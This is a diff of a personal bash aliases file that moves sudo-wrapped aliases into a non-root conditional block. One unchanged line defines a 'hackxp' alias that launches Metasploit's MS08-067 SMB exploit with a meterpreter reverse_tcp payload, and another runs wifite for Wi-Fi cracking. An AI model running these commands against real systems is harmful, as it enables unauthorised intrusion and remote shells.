|
@@ -5,70 +5,25 @@ alias nano="nano -K"
|
5
|
5
|
alias l="/bin/ls --color"
|
6
|
6
|
alias ll="/bin/ls --color -l"
|
7
|
7
|
alias lla="/bin/ls --color -l -a"
|
8
|
|
-alias ls="/bin/ls -a --color"
|
9
|
|
-alias lock="i3lock"
|
10
|
|
-alias traceroute="traceroute -n"
|
|
8
|
+alias la="/bin/ls -a --color"
|
11
|
9
|
alias reload="source ~/.bashrc"
|
12
|
10
|
alias wakeserv4="wakeonlan -i 192.168.1.255 00:0f:fe:88:94:da"
|
13
|
11
|
alias shutserv4="ssh serv4 shutdown -hP 0"
|
14
|
|
-alias shut="sudo shutdown -h 0"
|
15
|
|
-alias shutms="shutserv4 && shut"
|
16
|
|
-alias service="sudo service"
|
17
|
|
-alias ifconfig="sudo ifconfig"
|
18
|
|
-alias ip="sudo ip"
|
19
|
|
-alias killall="sudo killall"
|
20
|
|
-alias mount="sudo mount"
|
21
|
|
-alias umount="sudo umount"
|
22
|
|
-alias apt-get="sudo apt-get"
|
23
|
|
-alias apt-cache="sudo apt-cache"
|
24
|
|
-alias de="dhcp eth0"
|
25
|
|
-alias update-rc.d="sudo update-rc.d"
|
26
|
12
|
alias status="git status"
|
27
|
|
-alias commit="git commit"
|
28
|
|
-alias push="git push"
|
29
|
13
|
alias py="ipython3"
|
30
|
|
-alias usbip="sudo usbip"
|
31
|
|
-alias modprobe="sudo modprobe"
|
32
|
|
-alias wifi="sudo rfkill unblock wifi;sudo service wicd start; wicd-curses"
|
33
|
|
-alias stopwifi="sudo service wicd stop; rfkill block wifi"
|
34
|
|
-alias wifite="sudo wifite -wept 10000 -wpst 10000 -wpat 10000 -mac -showb"
|
35
|
|
-alias route="sudo route"
|
36
|
14
|
alias bashrc="vim ~/.bashrc; reload"
|
37
|
15
|
alias bashaliases="vim ~/.bash_aliases; reload"
|
38
|
|
-alias restart="shutdown -r 0"
|
39
|
|
-alias dd="sudo dd"
|
40
|
|
-alias ddstatus="sudo pkill --signal USR1 \"^dd$\""
|
41
|
16
|
alias ddstatusc="while :; do ddstatus; sleep 2; done"
|
42
|
|
-alias reboot="sudo reboot"
|
43
|
|
-alias teamviewer="service teamviewerd start; teamviewer"
|
44
|
|
-alias stopteamviewer="service teamviewerd stop"
|
45
|
|
-alias mounts2="sudo mount /serv2"
|
46
|
|
-alias umounts2="sudo umount /serv2"
|
47
|
|
-alias mounts4="sudo mount /serv4"
|
48
|
|
-alias umounts4="sudo umount /serv4"
|
49
|
|
-alias cryptsetup="sudo cryptsetup"
|
50
|
|
-alias crypt="cryptsetup"
|
51
|
|
-alias arp-scan="sudo arp-scan"
|
52
|
17
|
alias arpe="arp-scan -I eth0"
|
53
|
18
|
alias arpw="arp-scan -I wlan0"
|
54
|
|
-alias ping="ping -n"
|
55
|
19
|
alias vpnint="service openvpn restart g75-internet"
|
56
|
20
|
alias vpnintstop="service openvpn stop g75-internet"
|
57
|
|
-alias vpnepi="service openvpn restart rob-1-epimafia-internet"
|
58
|
|
-alias vpnepistop="service openvpn stop rob-1-epimafia-internet"
|
59
|
|
-alias vpnbe="service openvpn restart g75-betaclean"
|
60
|
|
-alias vpnbestop="service openvpn stop g75-betaclean"
|
61
|
21
|
alias youtube-mp3="youtube-dl --extract-audio --audio-format mp3"
|
62
|
22
|
alias pull="git pull --rebase"
|
63
|
23
|
alias st="git status"
|
64
|
|
-alias svim="sudo vim"
|
65
|
|
-alias 3d="sudo /etc/3DxWare/daemon/3dxsrv -d usb"
|
66
|
24
|
alias u=up
|
67
|
25
|
alias p="ping 8.8.8.8"
|
68
|
|
-alias pe="ping epigate.epimafia.fr"
|
69
|
26
|
alias telnet='telnet -e ^['
|
70
|
|
-alias gparted="sudo gparted"
|
71
|
|
-alias hopper="LD_LIBRARY_PATH=/opt/hopper-v3/ /opt/hopper-v3/Hopper"
|
72
|
27
|
alias reboot-win="grub-reboot 2 && reboot"
|
73
|
28
|
alias necessitas="~/tools/Qt5.5.0/Tools/QtCreator/bin/qtcreator"
|
74
|
29
|
alias studio="~/tools/android-studio-latest/bin/studio.sh"
|
|
@@ -96,9 +51,6 @@ alias cert-renew-all-etc="cert-renew-all /etc/ssl/private $((60 * 60 * 24 * 31))
|
96
|
51
|
alias update-confs="cd ~/confs && git pull -r && reload"
|
97
|
52
|
alias pycharm="~/tools/pycharm-latest/bin/pycharm.sh"
|
98
|
53
|
alias xcopy="xclip -selection clipboard"
|
99
|
|
-alias ap="rfkill unblock wifi && sudo ap"
|
100
|
|
-alias nst="sudo netstat -ntpa | grep LISTEN"
|
101
|
|
-alias nsu="sudo netstat -nupa"
|
102
|
54
|
alias ns=nst
|
103
|
55
|
alias hackxp="msfconsole -x 'use exploit/windows/smb/ms08_067_netapi; set payload windows/meterpreter/reverse_tcp; echo set LHOST my_ip; echo set RHOST target_ip'"
|
104
|
56
|
alias signal="google-chrome --profile-directory=Default --app-id=bikioccmkafdpakkkcpdbppfkghcmihk"
|
|
@@ -109,3 +61,41 @@ alias prv-mount="cryptsetup luksOpen ~/keep/private_data private_data && mount /
|
109
|
61
|
alias prv-umount="umount /media/private_data && cryptsetup luksClose private_data"
|
110
|
62
|
alias ssh-socks="ssh -N -D 127.0.0.1:1080"
|
111
|
63
|
alias dc="docker-compose"
|
|
64
|
+
|
|
65
|
+if [ "${EUID}" -ne 0 ]
|
|
66
|
+then
|
|
67
|
+ alias modprobe="sudo modprobe"
|
|
68
|
+ alias dd="sudo dd"
|
|
69
|
+ alias reboot="sudo reboot"
|
|
70
|
+ alias cryptsetup="sudo cryptsetup"
|
|
71
|
+ alias arp-scan="sudo arp-scan"
|
|
72
|
+ alias service="sudo service"
|
|
73
|
+ alias ifconfig="sudo ifconfig"
|
|
74
|
+ alias ip="sudo ip"
|
|
75
|
+ alias route="sudo route"
|
|
76
|
+ alias killall="sudo killall"
|
|
77
|
+ alias mount="sudo mount"
|
|
78
|
+ alias umount="sudo umount"
|
|
79
|
+ alias apt-get="sudo apt-get"
|
|
80
|
+ alias apt-cache="sudo apt-cache"
|
|
81
|
+ alias update-rc.d="sudo update-rc.d"
|
|
82
|
+ alias gparted="sudo gparted"
|
|
83
|
+
|
|
84
|
+ alias svim="sudo vim"
|
|
85
|
+ alias shut="sudo shutdown -h 0"
|
|
86
|
+ alias nst="sudo netstat -ntpa | grep LISTEN"
|
|
87
|
+ alias nsu="sudo netstat -nupa"
|
|
88
|
+ alias ddstatus="sudo pkill --signal USR1 \"^dd$\""
|
|
89
|
+ alias ap="rfkill unblock wifi && sudo ap"
|
|
90
|
+ alias 3d="sudo /etc/3DxWare/daemon/3dxsrv -d usb"
|
|
91
|
+ alias wifite="sudo wifite -wept 10000 -wpst 10000 -wpat 10000 -mac -showb"
|
|
92
|
+else
|
|
93
|
+ alias svim="vim"
|
|
94
|
+ alias shut="shutdown -h 0"
|
|
95
|
+ alias nst="netstat -ntpa | grep LISTEN"
|
|
96
|
+ alias nsu="netstat -nupa"
|
|
97
|
+ alias ddstatus="pkill --signal USR1 \"^dd$\""
|
|
98
|
+ alias ap="rfkill unblock wifi && ap"
|
|
99
|
+ alias 3d="/etc/3DxWare/daemon/3dxsrv -d usb"
|
|
100
|
+ alias wifite="wifite -wept 10000 -wpst 10000 -wpat 10000 -mac -showb"
|
|
101
|
+fi
|